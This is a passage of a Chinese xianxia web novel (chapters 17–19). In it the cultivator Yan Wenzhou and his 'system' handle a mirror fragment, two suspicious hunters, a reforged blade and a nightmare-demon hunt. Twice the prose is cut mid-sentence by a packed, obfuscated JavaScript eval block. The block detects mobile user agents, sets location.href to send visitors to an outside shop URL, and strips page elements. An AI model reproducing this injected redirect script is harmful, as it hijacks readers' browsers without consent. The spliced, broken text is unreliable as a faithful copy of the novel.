严文洲眉头微皱,意味深长地看向了钟慎。如果没有看错的话,那团黑雾最后往这里飘了些许。若以魔修论,他口中所称的尊上除了东极道主,也没有别人了。 难不成,钟慎莫须有的生父是东极道主? “统兄,你可有什么检验血统的方法么?” “……” 接住了熟面条般落入水中的倒霉弟子,黑衣剑修率先开口道:“邪祟已灭,诸位同门没事吧?” 得到了否定回复后,脸色比方才苍白了些许的金丹修士眼神转向了镜子,“这是?” 消耗了一番,镜子的光芒已经黯淡了不少,众人终于看出了轮廓——一面巴掌大,带手柄的镜子,看起来很像是妆造时所用的那种。 黑衣剑修眼神复杂,“未明镜。” 果然。支起了耳朵仔细听的严文洲轻轻吐出一口气,摩挲着掌心陷入了沉思。没多久,他就被钟慎戳醒了。 眼前多了一个人,正是刚才被天魔舔了一遍的金丹修士,太清宗众人口中的温师兄。 长身玉立,风度翩翩,此时朝严文洲微笑的样子温和又亲切,卖相极佳。 只可惜有珠玉在前,严文洲便也不觉得有什么了,反而觉得这人眼神有些古怪,“道友有事么?” “只是想来感谢一番道友,若不是道友出手相助,只怕我们还要多耗费许多心神。在下太清宗温宜,不知道友如何称呼?” 严文洲有些不愉,随口敷衍了几句,遇事只说是凑巧。 大概察觉出了什么,这位温师兄十分知趣地结束了话题,微笑着朝钟慎点点头便离开了,行走间露出一块腰牌,云纹为底,三座山峰并列,成犄角之势。 严文洲陡然想起来,茶壶底那个三峰标志正是三都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037424|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山温家的标志。 这位温师兄居然出自三都山? 四洲三大世家,南洲有二,三都山温家和镜泊奚家。这两家都手握上古传承,从万年前至今未曾断绝。传闻中,三都山曾是仙人降世传道时的道场。当然,如今的温家最为出名的其实是那位明朔剑尊,也就是四洲无数剑修心中的梦。 严文洲不由多看了两眼姓温的,左看右看横看竖看都觉得他没有剑修的潜质,跟他那位不知隔了多少辈的老祖宗不像。 是的,他如今万分确定,自己一定见过明朔剑尊,记忆里那个雪衣剑修定然是他! 倒没有别的什么契机,纯粹是因为他在典当铺里买刀的时候被掌柜塞了一张赠品画卷,美其名曰辟邪。 至于为什么给一个刀客送剑修的画卷,那不是因为上一个出名的用刀的还是不久前才陨落又疑似活了的魔尊么? 倒是那个黑衣剑修不错,像是将来能把剑道发扬光大的,不过么…… 严文洲想得入神,完全没发现自己看向前方两位青年才俊的眼神已然变质,三分质疑三分不屑四分挑剔,配上他那一张轮廓深刻,自带邪魅狂狷效果的脸,杀伤力已经超过了百分百。 钟慎看得害怕,正打算说话,眼前光亮却陡然一暗,大师兄已将未明镜收了起来,招出一条云舟要载起众人离开。 他赶紧拍了拍自家大哥,拉着他登上云舟。 几个呼吸的功夫,沉闷的空气便被泛着腥甜的风取代,没有被黑雾笼罩的平安镇出现在眼前,白墙黑瓦,映着低垂落日,分外明净。 只是风中偶尔飘来哭嚎声,听来让人心酸。 严文洲朝黑衣剑修做了个手势,便识趣地跳下云舟,踩着刀要返回太易宗。他心里有事,速度提得极快,可苦了后面的人。 “大哥!等等——” 又是钟慎。 严文洲不由心里一突——任务先前不是已经显示完成了么?怎么还有后续?! “大、大哥,你慢着点,我、我来送东西!” 他迟疑着掉头回身,发现钟慎手里捏着一张符咒,正踩着风飘过来。初次飞行,这小子居然没有什么惧色,脸上更多是兴奋。 也是,钟慎这小子初次见面的时候就能以那副小身板对抗他那膘肥体壮的堂兄,如今修为涨了,身板厚了,可不是连带着把胆子也提起来了么? 这一瞬,严文洲莫名地体悟到了老父亲的欣慰。 三个多月没见,钟慎憋了一肚子话要和他的严大哥说,可虽说飞行符效力很长,但毕竟还有一云舟的人等着他,便不得不长话短说,只代替那位大师兄感谢了一番严文洲的拔刀相助,送过来的一只储物袋便是谢礼。 而后,钟慎便又踩着风,依依不舍地飘走了。 目送着钟慎消失在视野尽头,又看着方才的云舟驰过天际,严文洲这才松了口气,一口气冲回太易宗。 这一日,毫无护山大阵的太易宗上空响起了尖锐的音爆,一道流光径直冲进了太玄峰主殿。 “夭寿了,飞那么快是要赶着投胎么?”丹峰上刚刚归巢的飞鹤又被惊得腾空而起,李青云没好气地骂了一声。 主殿里,杜衡刚刚收好了色料盘,一转身差点撞上了新收的二徒弟。还没说话,他便闻到了一股铁锈气,“你受伤了?” 严文洲到了嘴边的话卡在了喉咙口,不过是几道皮肉伤,到明天就好得差不多了,小事而已。可他看着杜衡眸子里的担忧和紧张,忽然觉察了一股不该有的愧疚,好像他做了什么亏心事一样。 斟酌片刻,他还是轻轻点了点头就直接跳过这个话题,手腕一翻,显出一片晶莹的东西来,“师尊,不知你可否认得此物?” 17. 来人 日落,太易宗主殿里难得亮起了灯。须知太易宗实在经费有限,又或者说是豁达洒脱到了一种境界,寻常门派里的大多数仪轨在这里都是不存在的。 弟子大会?抱歉,一共四个弟子,有什么好比的? 任务和奖励?唔,毕竟有三个山头,总该是有些好东西的,自个儿去找吧。 毕竟是连月例都时有时无的门派,能多指望它什么呢? 对于太易宗上上下下十来口人来说,主殿亮灯无疑是一件十分稀奇的事。没多久,十来双眼睛就齐齐盯住了主殿,更有一只开了点灵智的仙鹤被派来刺探情报。 陶乐一眼就看见了那只多出来的仙鹤。废话,这些年下来,太玄峰可是他一手开荒成现在这样的,有什么还不清楚么?这绝对是丹峰的鹤! 骂归骂,他却也毫无办法,总不能放个窃听珠过去吧?于是,他便只能瞪眼看着灯火通明的主殿,好奇得抓心挠肝的。 从未得到过这么多关注的主殿里,杜衡已经研究了好一阵严文洲带回来的那亮片儿。东西虽小,但无论是反射能力还是自发光能力都很强,稍稍注入一点灵力,便将主殿照得如夏日晴空一般,眼下这里大一半的光都是来自于它。 严文洲在被逼着吃了两颗伤药后便无事可做,眼珠子闲得在主殿里溜达了好几圈,陡然意识到了一件很多余的事——杜衡给仙像描金绘彩的手艺是极好的。 往日里光线昏聩,他还只觉得没必要,现下一照,翻新过的地方都泛着一层莹润的光泽,金线闪着细碎的光,粉彩恰到好处,乍一看当真有衣带当风,翩然降世的感觉。 什么时候有钱了,便给主殿添几盏,不,几十盏长明灯,便是没事干随便过来看看也赏心悦目。 严文洲微妙地看了眼自家师尊,希望他到时候已经都翻修完了。 觉察到目光,杜衡很肯定点点头,“是未明镜的碎片。”说着就把碎片递过来。 严文洲早已知道那是什么,一时间却没明白杜衡的想法,没接。 僵持了一会儿,杜衡恍然大悟,“哦对了,徒儿你还不知道未明镜是个什么东西吧?”未明镜可辨过去未来,若要辨当下却不能,当然这只是传闻,具体会怎样我也不知。这东西虽说算是太清宗的,认真计较起来却也不算。未明镜的上一任主人号灵应元君,自她身陨于天渊后,便再无未明镜消息,这虽然只是一块碎片,但徒儿拿着防身足以。” 亮晶晶的碎片再度被递了回来。 严文洲盯着看了一会儿,只觉得被晃得眼睛疼,“师尊,即使如此,那未明镜定然最适合卜算一道的修士,那便是与我无缘了,还是师尊收着吧。” 杜衡一愣,神色有些纠结,“这么说也对,毕竟灵应元君确实修的是卜算,可……可此物既然是徒儿你捡到的,那便是与你有缘!” 听着杜衡十分坚决的语气,严文洲心情复杂。四洲里多的是杀人夺宝、互相算计的修士,便是师徒又如何,反倒是更容易下手,像杜衡这样的真是罕见。 只是,东西他确实不准备拿。 一来是因为事关太清宗,他一个筑基期的小喽啰搀和什么?再者,也是他实在无意于整天抱着片镜子琢磨未来,有这时间练练刀法不好么? 况且,自己撞到他手里的,他就一定要拿着么? 三岁小儿都知道强扭的瓜不甜! 脑筋一转,严文洲立刻道:“说不定是觉得师尊有缘呢?既然可以明未来,大抵选中我也是因为看到了现在啊!” “……啊?” “师尊,您也知道,我习惯用刀,这未明镜放在我这里实在没用,而且,我也怕碰见了太清宗的弟子到时候说不清。” 严文洲言辞诚恳,也不知哪句打动了他的好师尊,杜衡略一犹豫便把手伸了回来,算是同意了,然而他却也没动,眉头紧锁,眼神迷茫,下巴微抬着像是思索什么。 严文洲看样子便知还有后续,也没有立刻告辞。 心神一松,他又开始琢磨些有的没的,眼神在仙像和杜衡之间隐晦地来回转了几圈,最终确认,还是活的好看! 这简直是,欺师灭祖、大逆不道、罪大恶极!要是让杜衡知道自己这些心思…… 严文洲仔细分析了片刻,什么也确定不了。自己这位师尊,着实不像是寻常师尊,相处了三个月,他仍然觉得杜衡身上笼着层薄雾,就跟这看起来简陋至极,几乎不能说是一个门派的太易宗一样。 许久,他才听杜衡的声音郑重响起:“不过我也不能白拿,徒儿,要不然我帮你把刀翻新一下?” 严文洲一怔,眼神古怪——杜衡还会炼器? “……好。” 下一刻,他就看见眼前这位看起来十分文雅,精通看星星看月亮的炼虚期大修士扭过头,对着破了个大洞的窗户发出一声大吼,“陶乐,烦请过来一趟!我知道你还在看这里!” 严文洲惊呆了。 一直到视野里出现一个飞速移动的圆滚滚物体,他才回过神来。 还以为杜衡会炼器,原来是抓壮丁。也是,光想象一下他撸起袖子,挥舞着大锤打铁的样子,就有些诡异。 杜衡三两下把事情交代了,扭头便看见严文洲微妙的神情。 严文洲迅速调整表情,眨眼便又是一副标准的乖巧孝顺徒儿的模样了。目睹这一切的陶乐眼神不自觉漂移到了杜衡脸上,见他视若无睹,仍是一脸温柔,便又挪回到了严文洲身上。 来回看了一圈,太易宗内唯一一个炼器师已经开始怀疑自己的眼睛了。 杜衡一等严文洲恢复正常,便立刻开口:“徒儿,我已经帮你预约了明天的淬炼,材料我这里出,你明天记得去浣花峰就好了。” 严文洲感激点头,“多谢师尊。” 陶乐:“……行吧。” 同一时刻,太易宗只有一块石头的山门外,多了两个猎户打扮的人,一人背弓,一人抱犬,已然干透了的血痕在黑夜中消弭无踪,只剩下浓重的血腥味提醒着旁人在他们身上可能发生了什么。 “这也太破了,而且这名字……你、你确定是这儿?” “肯定是这儿!我派出去的探子都说是朝这里飞了一阵,然后在这儿这儿消失的!而且刚刚刀都震了!” “不是,这也太……” “闭嘴吧你!就你话多!这里还不好么?灯下黑懂不懂!?” “行吧。” 两人不再说话,望着崎岖山路齐齐叹了口气,而后默契地就地一滚,开始四肢并用地爬上太玄峰。 第二日,严文洲一边和系统拌着嘴,一边溜达到了浣花峰。他眼下用的刀十分不起眼,刀身黯淡无光,刀刃也似乎透着一股顿感,看着就跟凡俗武人用的差不多。 事实上,在严文洲从典当铺里把它拎出来之前,谁也没看出这其实是一柄地品法器,给金丹修士用也不寒碜,放在小地方的拍卖场里拍出小一万的灵石不是问题。 然而陶乐不愧炼器师,一眼便看出了其中门道,“好刀啊!” 严文洲笑而不语,将刀递过去。 昨日,他们已然连夜商定好了材料,按理说,陶乐直接开始便好了。但好巧不巧,阿钦端着一钵肉并两只碗出现在了炼器室门口,大声道:“师傅,您今日还吃早饭么?” 肉香夹杂在炼器室的金属味里格外明显,严文洲眼睁睁地看着陶乐喉头滑动了一下,而后露出一个尴尬的笑容,“小师叔别急,吃饱了好干活儿。” 说完,便冲到了阿钦身边,拉着徒弟毫不在意地做到了地板上,开始分食一碗肉。 大清早就吃肉也不嫌腻。严文洲摇了摇头,腹中馋虫却也被勾了起来,犹豫了一下便施施然走到了两人身边,不嫌弃地吃起了并不需要的早饭。 肉见底,陶乐却又借口先要履行一下师傅的职责,拉着阿钦认起炼器材料和地火种类来。紧接着又是地火出问题了,温度不够…… 严文洲算是知道了杜衡为什么暗示自己要盯着点——陶乐这样下去,得什么时候能正常开工? 虽然如此,他也没催,旁听了一会儿炼器小课堂之后,便按照惯例去一趟太玄峰,打算去杜衡面前点个卯,顺道把主殿的破窗户给换一下。 太玄峰就在浣花峰隔壁,他从纳戒里随手摸了把剑出来,便踩着剑不紧不慢飞过去。 “统兄,劳烦帮我检索一下藏书阁里有没有有关四洲建筑纹样的书。” “……什么东西?” 严文洲耐心地重复了一遍,换来了系统的勃然大怒,“建筑纹样?!你是打算转行当炼器师了么?有这闲工夫怎么不去找找离火!?要不要我提醒你一下你三个月总共就完成了一个任务!” 严文洲立刻纠正,“是四个月。” “再说了,主线任务都是关于钟慎的,这几个月他几乎老老实实地一直呆在太清宗,我也管不到啊!而且,统兄怎么不把日常任务算上?” “日常任务那能算任务么?!” 被凶了一顿,严文洲仍然不明白,日常任务怎么就不算任务呢? 安静片刻,系统苦口婆心地劝起来,“宿主啊,严兄啊,我真的不会害你的,那三山离火的任务关联到后续很多任务的,你可不能掉以轻心啊!” 不说则已,这分魂一说,严文洲对三山离火的支线任务就更没有兴趣了。正想个什么新奇的理由能敷衍过去,他忽地看见主殿面前好像多了点什么。 飞过去一看,却是两个人。 山中猎户模样,都趴伏在地上,衣衫上还带着血,看上去像是受伤后逃到这里来的。还得是半夜三更,山中阴暗的时候跑上来的,要不然大多数人都不会在受伤情况下,沿着一条未知山径,一口气爬到顶。 不过也是,毕竟太易宗连护山大阵都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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也不知是什么人能把这么多东西塞进这么小一片花纹里。 他隐约觉得自己接了个长期工程,但开弓没有回头箭,他既然开口提了便一定要做到,于是便摸出一枚玉简一笔一划地将花纹复刻下来。 画了没两笔,耳边就传来惊叫:“啊啊啊啊——” “妖怪!妖怪!有妖怪啊啊——” 两声惊叫几乎重叠,都凄厉地让人心生惧意,放在大晚上绝对能吓破一堆人的胆子。但很可惜,这是在太玄峰上,能说人话的活物一共只有四个。 一笔出错,整片花纹作废。严文洲回身看去,伤药作用下,两人已经好了大半,此时瑟瑟发抖地抱成一团,看着杜衡的眼神像是看到了什么食人心肝的老妖怪。 “许是我吓到他们了,徒儿你照顾好他们。”杜衡抱歉一笑,立刻消失在眼前。 目睹了这一切的两人惊叫声陡然一停,很快翻着白眼又软倒在了地上。 严文洲不太美妙的心情更加糟糕了。 原地站了会儿,他才拎起黄犬,臭着脸给两人加了一道悬浮术,把他们送到了丹峰, 听完了来龙去脉,李青云略一沉吟便得出了结论:“失心疯,多半是早已遇到了山中精怪被吓到了。放心,小病,两贴药下去明日便好了。” 说着便招呼李长安去取药熬药。 严文洲怎么想都觉得有古怪,正想多问李青云几句,便见她的眼神慢慢挪到了怀里的黄狗身上,“这狗,倒是挺有灵性的。” “……确实,许是山林里跑多了,灵气吹多了,寻常犬兽此时早该吓得瑟瑟发抖了。” “说起来,我这丹峰只有几只仙鹤确实冷清了点,若是它根骨不错,主人又愿意,买下它也不错。” 严文洲见李青云那副见猎心喜的模样,便也十分识趣地把黄狗递过去,李青云也当真在黄狗身上捏了一通,最终满意点头。 黄狗不知道发生了什么,又反抗不得,只得死命地把头埋在严文洲怀里,立志做狗中的缩头乌龟。 严文洲看得好笑,又觉得这狗过于埋汰,毛里不是土就是草叶,实在有碍观瞻,便也强行施了两个清尘术。 毛色果然亮多了。他满意点头。强扭的瓜还是有些甜的。 轰—— 青天白日陡然响起一声炸雷,严文洲扭头望了一眼,浣花峰方向腾起袅袅青烟。 正想着会不会是陶乐的炼器房炸了,李长安便屁颠屁颠地跑进来,满脸兴奋,“师尊,浣花峰好像又炸了!” 李青云的神色微妙起来,隐晦地瞟了眼严文洲后才故作冷淡地开口:“不急,等他炸完了再说。” 话音刚落,山林间又响起一声大喝:“小师叔,来领你的刀——” 又来。 严文洲的表情失控了瞬间,十分庆幸太易宗三个山头都是在山林深处,下面没有凡俗村落,要不然整日里听着这些,大概也只会觉得仙人们十分可怜了——说话靠喊,串门靠飞,生活只是提升了一点,却要为了这一点而辛辛苦苦地修炼。 他很快控制住表情,转身向李青云告辞,朝浣花峰飞去。 几乎同时,榻上的一个可疑人员也醒了过来,眼神在丹峰师徒二人身上一扫而过便深深低下了头,“……仙、仙长?” 18. 算得真准 隔了山头,严文洲就有一种微妙的感觉,似乎那柄刀正在可劲儿地招呼着他,让他快点过来。虽然想着不太可能,但他还是加快了速度。 等真正落到炼器室外面时,他却神情微妙了一瞬间——方才还整整齐齐的三间屋子已然整个儿被掀了顶,一炉不息的地火孤零零地燃烧着,陶乐和阿钦师徒二人正灰头土脸地蹲在外面揪草叶玩儿。 跟两个二傻子一样。 瞧见正主来了,陶乐一个箭步冲上去,“小师叔啊,我这炼器坊可废了不少灵石呢,我、我、唉……你也知道我们浣花峰是个什么情况,阿钦这个小子吃得多,干得少,我又是一把年纪了,实在是囊中羞涩啊……” 严文洲挂起一抹惭愧的笑,双手握住陶乐胖乎乎的手时不动声色地推过去一个小储物袋,“见笑了。” 巴掌大的小袋子只出现了短短一瞬,陶乐收回手,装模作样地抹了把泪,“说来惭愧,我其实还没真正动手呢,就给它燎了一下。谁知道它脾气这么大呢?对了小师叔,都忘记问你这刀叫什么名字了?” 新鲜出炉的刀还在漫天乱窜,划出一道道银亮的光。 这刀本来是没有名字的,硬要说,也就是“刀”这一个字,严文洲仰头看了半晌,忽地一伸手,衣袍被山风带出猎猎的响。眨眼,风声中便夹杂了一道尖锐的破空声。 “白鱼,怎么样?” 被地火燎去了表层尘垢的古刀嗡鸣不已,似是欣悦似是不解。 凭直觉,严文洲觉得手里换了身新皮肤的刀应该是喜欢这个名字了,“那就叫你白鱼了!” 虽然不是彻头彻尾的新刀,但他理应去试炼一番,便跟浣花峰师徒俩打了个招呼,朝后山行去。 瞧着视野里咻一下消失的银光,陶乐捋着胡子扭头问阿钦:“徒儿,你想锻造出那样的刀么?” “……想!” 严文洲在后山练刀练得起兴,可苦了丹峰上两个倒霉催的猎户。不知是汤药本身起了作用,还是因为太苦了,一碗药汁下去后,另外那人终于也醒了。 一边听着外面医修的动静,一边小心翼翼地环视了一圈,他谨慎地和同伴对了个眼神——没问题,溜不溜? 另一人瞪眼——溜个屁!好好呆着! 于是乎,李长安推门进来的时候便只看见两个蔫头耷脑、安安分分坐在榻上的病号了。 “都醒了啊。” 一人讷讷点头,另一人慢一拍也跟着点了点头,又操着不标准的官话尴尬地补充了一句:“仙、仙师,我这兄弟怕生,不爱说话,您别怪罪。” 李长安摇头,“自然不会。说起来,你二人怎会昏倒在太玄峰上,不觉得山路有些太长了么?” “……没、没有,毕竟是逃命,一跑起来就没感觉了。” 看着两人尴尬挠头的样子,李长安有些过意不去,瞧他们过来的样子,一定是伤得不轻,怎么一下就戳人伤口上了,然而掌门交代下来的任务也不能不做。 不仅要做,还要做得漂亮! 她连忙用竹筒盛了两碗水送过去,温声问道:“不知两位可还记得都遇到了什么?拜我师弟所赐,这附近能吃的活物已然少了大半,谁曾想居然还有漏网之鱼。” “……啊,啊?司……史老弟,你给仙师描述一下,你眼神儿好!” 冷不丁被捣了一肘子的“史老弟”眼神发愣,似乎还没从那个冰冷漆黑的夜里反应过来,迟疑了一会儿才比划起来:“嗯,大概这么大,呃不对,也可能是这么大,差、差不多吧,不过肯定是黑的……” 两个山头外,郁郁葱葱的野竹林已然换了副面貌,碗口大的竹子齐根削了大半,破碎的竹片并着青绿竹叶潇潇洒洒地落了满地。 严文洲收起了刀,十分满意。 白鱼刀重炼之前不过刚迈入地品门槛,但现在已然够到了天花板,更难得的是,白鱼刀有了些许灵智,使起来如臂使指,十分得力。 系统这分魂还是做了些好事的。 严文洲心情甚佳,打算把系统唠唠叨叨许久的三山离火任务给接了。 灵台里的任务框一如既往金光闪闪,他许久没看,一时有些不适应了。 支线任务:作为一名志向高远的炼丹师,手上怎么能没有一味得心应手的丹火呢?紫金丹火、红莲业火、水云心炎……哎呀呀,一个个不是有主就是太过危险,还是三山离火最容易获得,请帮助钟慎找到三山离火的线索吧! 奖励:二十枚中品灵石(包含隐藏奖励哦~) 严文洲仔细往下拉了拉任务框,已然到底了。他立刻送出了一道震惊不已的心音:“统兄,这也太过简略了吧?我上哪儿找去啊。” 系统冷笑,“都跟你说了去帮那个落魄炼器师找离火了!你怎么就不听我的呢!现在好了吧?” 严文洲想了一会儿才记起来先前确实有个助人为乐的任务,他嫌弃太麻烦便推脱掉了。 大意了。 下次推脱前得先试探一下其中底细。 严文洲叹了一声,难得有些理亏,但归根结底,这还是因为系统有意隐瞒信息的缘故! 想了想,他放软了声音道:“统兄,当时情况紧急,我还距离飞仙城那么远呢,不是生怕赶不上么?再说了,你也未曾和我通过气啊,早知如此,我定然会停下来的!” 系统陡然舒心,哼哼唧唧了好一阵才高傲地抛出几句话:“欸没办法,那炼器师早已走了,我也不知道这任务该从何开始,你自己多琢磨琢磨吧。” 还学会拿乔了。严文洲危险眯了眯眼,又送了几句软话过去,然而系统一下找到了拿捏他的办法,得意地尾巴翘上了天,怎么说都不肯透露一点线索。 至于别的支线任务…… 严文洲只是扫了一眼,任务框立刻就震荡了起来,而三山离火的任务框则一下窜上了最顶端。 系统的暗示十分明显。 严文洲嗤笑一声,扭头去找自家师尊了。他没有什么给自己找事做的爱好,只是三山离火放在四洲确实也是不错的东西了,若是能分一杯羹便再好不过了。 再者,他倒是要看看系统这个分魂还能给钟慎送资源送到什么程度! 半路上,严文洲却想起了一茬——难不成先前那些鸡零狗碎的任务各个都关联着后面的任务? 感受了一下心海里安静的系统,他拱火似的问了一句。 系统的心音陡然愤怒又委屈,好像被负心人抛弃了一样,回了一句:“我就知道你会问这个,我才不告诉你呢!” 白鱼刀缓缓减速,停在了主殿外,正巧,杜衡正在殿外给灵田浇水,一看见严文洲先是露出一个满意的笑,而后便朝他招了招手,示意他赶紧过来。 看他一脸严肃,严文洲还以为什么事情呢,谁知却是因为陶乐。 没错,陶乐在他这里蹭了灵石之后,还去杜衡这里蹭了一堆材料。 杜衡欲言又止,但瞥到过太易宗公账的严文洲心下明了,立刻诚恳地表示自己将来一定会报答师尊,报答太易宗对自己的栽培。 杜衡闻言立刻叹了口气,“欸,徒儿啊,报答这话就不用说得这么早了,我也不指望你什么,将来在外面惹祸的时候记得报我的名字就行了,为师还是有几分薄名的。” “……好的,师尊。” 说不感动是假的,可一想太易宗的古怪,他便有种不说更好的感觉。勉强控制着自己的表情,严文洲赶紧转移了话题:“师尊,你可知道三山离火的下落?” 心海里陡然传出一连串尖叫:“啊啊啊啊——宿主你作弊!作弊可耻!” 一边等着回应,他一边抓紧时间回了一句:“统兄,这怎么能算作弊呢?杜衡是我师尊,又精通卜算之道,我找他再自然不过了。” “你、你、你在威胁我!” 严文洲估摸着系统要炸毛,连忙顺毛说了几句好话才把这分 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严文洲一呆,惊诧之余居然觉得也正常——三山离火虽好,但还是配不上杜衡这个层次的修士,扔了给其他灵物挪地方也是人之常情。 唔,那这么说起来,先前系统任务里的那个小炼器师说不定就是捡到了杜衡丢掉的三山离火? 见严文洲沉默不语,杜衡连忙道:“徒儿,你要是想要的话,我仔细想想,应该能想起来自己扔到哪里去了。不过,徒儿你要三山离火做什么?” 正要开口,主殿外却传来李长安的声音:“掌门!掌门师叔!宗门附近好像来了一只魇!”话音落下,她已经窜进了主殿,神色惊慌之余还有些兴奋。 “……魇?”杜衡慢三拍地看向李长安。 严文洲心中一动,魇在南域并不常见,但在魔修更多的东域却家喻户晓,魔修一大半的恶名都是由这种看着吓人,惊扰神魂,还很难驱散的东西弄出来的。 天魔祭的事情他早已和杜衡和盘托出了,如今又来一只魔修标配,难不成是东域魔修终于按捺不住要给东极道主报仇的心思,打算大举进攻太清宗了? 杜衡约莫也想到了这一点,眼神古怪地看了自家二弟子一眼,才慢吞吞问道:“这是你从那两个猎户身上问出来的?” 李长安点头,“根据两人症状和他们描述的形状判断,应该是的。” 杜衡沉吟片刻,“那这样好了,你们两个叫上黄时雨一起去查探一番,如果能活捉那只魇的话便活捉,要是不行便直接杀灭了。” “好!” 严文洲耳边多了一道传音:“嗯,到时候你回来的时候,为师应该也能想起来三山离火在哪儿了,你且放心去吧。” “……好。” 出了主殿,严文洲脸上的笑意淡了些——不知是不是错觉,他总觉得杜衡好像有些不对劲。 三山离火的下落是保证,还是试探,又或者纯粹只是自己疑心病犯了? 正琢磨着,李长安激动的声音响了起来:“不愧是掌门师叔,算得真准!一下就知道那两个猎户要好好询问了,要不然放任一只魇在宗门附近徘徊,多寒碜啊,不知道的还以为我们太易宗是魔修门派,成天放魇出来溜达呢!” 严文洲立刻抓住了重点,“师尊让你去问的?” “对啊,掌门师叔觉得两个猎户有些可疑,让我多问问。” 李长安一脸理所应当,提起杜衡时眼里的崇敬都快溢出来了。严文洲一看便觉得,自己这位师姐没忽悠人。 要是念及杜衡一手出神入化的算卦技术,这倒也不奇怪。可他总觉得,那两个猎户来得太巧了,那只魇出现得也太巧了,就算是人为放过来掩人耳目的一样。 李长安没发觉有什么问题,给杜衡吹了几句彩虹屁便话题一转问起了严文洲:“对了师弟,你修太玄经么?什么时候能给我算上一卦?” 19. 魇妖 得知了严文洲被杜衡诊断为毫无天分后,李长安便十分失望,眼神担忧地似乎害怕太玄峰一脉再传不下来了一样。 黄时雨倒是看得开,“师姐你放心好了,师尊卦算得这么准,收我们为徒一定是有他的道理的,说不定哪天我就能随手在路边捡到一个很有卜算天赋的小弟子呢,就跟师尊捡到我一样。” 李长安一想也有道理,“那可真是走了大运了,入我们太易宗多好!” 严文洲仔细想了想,觉得太易宗除了穷点、苦点、野鸡点,也确实是个好去处,最起码,不会死在各峰倾轧上。虽然他婉拒了太玄经,但修炼心诀他看过了,确实不是地摊上三块灵石一本的大众货。 已是日落时分,飞鸟投林,三人呈品字形缓缓飞过山林上方,除了满眼叶子便是壮阔夕阳,太清宗缥缈的三峰六脉海市蜃楼般浮现在天边。 几人默契地略过这个话题,黄时雨转而道:“我还没见过魇呢,师姐你见过么?” 李长安陡然兴奋起来,“见过!当年南迁的时候,师傅正巧碰到一只,就抓给我玩了。那魇通体墨黑,团成一个球的时候可好玩了,还能一点一点展开,就跟折纸一样……” 严文洲心中微惊。 南迁? 这些时日他虽和太易宗诸人混熟了,但这两只手数得过来的人没有一个是爱好讲古的唠叨鬼,他便也将太易宗的来历抛掷脑后了。 他有心要问,却有一人比他更先。 黄时雨听完了魇的诸多妙用,便一脸好奇地问起来:“师姐,南迁的时候你便入门了么?咱们为什么南迁啊?” 李长安略有些尴尬地摆摆手,“欸我那时候也只是个小孩儿,能知道什么呀!不过宗门迁移总归不是什么好事,想来也无非是仇家和灵脉枯竭那些事。” 黄时雨惋惜又赞同地点点头,“那我们宗门弟子一直如此少么?” 李长安神色陡然复杂起来,“……反正,我那时就只记得掌门师叔和师尊两个人。” 明白了。那时的太易宗从上到下只有三个人。严文洲点头一笑,悠然道:“弟子贵精不贵多。” 一听便是脸上贴金的客套话,但想想同门的修为和年纪,李长安和黄时雨不约而同地露出了一个确实如此的微笑。 天色暗得很快,山林一片暗沉沉,识妖盘上的指针稳如磐石,一点儿都不带动的。 “咱们都转了三圈了,这魇今日……”黄时雨抱着识妖盘的手一抖,面色变得惨白,“师、师姐,那就是魇么?” 严文洲冷冷盯着前方陡然出现的一大团黑雾,白鱼刀已然到了手上。 李长安狠狠骂了一声,“这玩意儿怎么这么大?不是,那两个凡人怎么脱身的?” 话音没落,魇便整个扑了上来。 刀光凛冽如山风,法咒并符箓炸了个漫天星彩,一时间,黑乎乎的魇变得比彩衣楼最好的缎子还要绚烂。 一通猛攻后,整片儿的魇被切得七零八落,只剩下一小团一小团无关核心的黑烟慢悠悠消散在空中。 “好、好险。”黄时雨捏着一打符箓,喃喃自语。 严文洲怜悯地扫了他一眼,身形一闪又往他身侧劈下一刀。 黄时雨只觉得眼前一亮,耳边便传来一声凄厉非常的尖啸,震得他险些把手里的保命符都丢了。 一小撮微凉的头发慢悠悠地飘下来。 脑袋一点点转过去,眼前只有一张面无表情的脸,尽管俊美得天怒人怨,但仍然掩盖不住其上弥漫着的杀气。 黄时雨陡然一激灵,咻地窜出去,十分怀疑自己是不是平时太麻烦他的好师弟了,早就上了某份神秘的暗杀名单,这回打算连带着他一起劈了。 “师弟留手!”李长安的大喝姗姗来迟,“掌门师叔要活的!” 严文洲也总算想起来了杜衡的嘱托,手下力道顿时松了三分。可魇乃是通人性的家伙,立刻团起自己以表示愿意被活捉,同时却朝某位可恶的刀客吐出一口稀薄的雾气,既是象征性的反抗,又是微妙的报复。 它本没想过自己小小一团魇雾能让眼前这人怎么样,谁知下一刻,这人却晃悠了两下,头一歪,极速向下坠落! 黄时雨大惊失色,幸而白鱼刀反应极快,瞬间便用刀背捞起了主人,艰难地挂在半空中。 “这……方才不是还好好的么?怎么现在就这样了!?难道、难道大哥练的法门只能出三招!?不是,以前见他练刀也没什么异象啊……” 没理会黄时雨的碎碎念,李长安径自过去摸了下脉象,便道:“无妨。” “啊,那为何会晕过去?因为那一小口魇雾?” 盯着李长安意味深长的眼神,魇瑟瑟发抖,只恨自己没长嘴——冤枉啊啊啊! 丹峰唯一的弟子看了一会儿忽地笑了,扭头缓声道:“师弟,心思深沉。” 黄时雨隐约觉得自己被嘲讽了。 但,好像又没有。 严文洲一连睡了大半个月,像是要把之前彻夜入定缺的觉都补回来一样,醒来的时候,满眼翠绿,隐约有药香缭绕,塌下还卧着条十分熟悉的黄犬。 居然在丹峰? 见人醒了,黄犬十分自来熟地摇起了尾巴,又把毛茸茸的脑袋凑到严文洲手底下。 严文洲侧耳听了一阵,安静得很,便一边摸着狗头,一边心不在焉地应付起了系统。即便是事出有因,系统也十分不满,二话不说先用死水般的调子念了一长串: 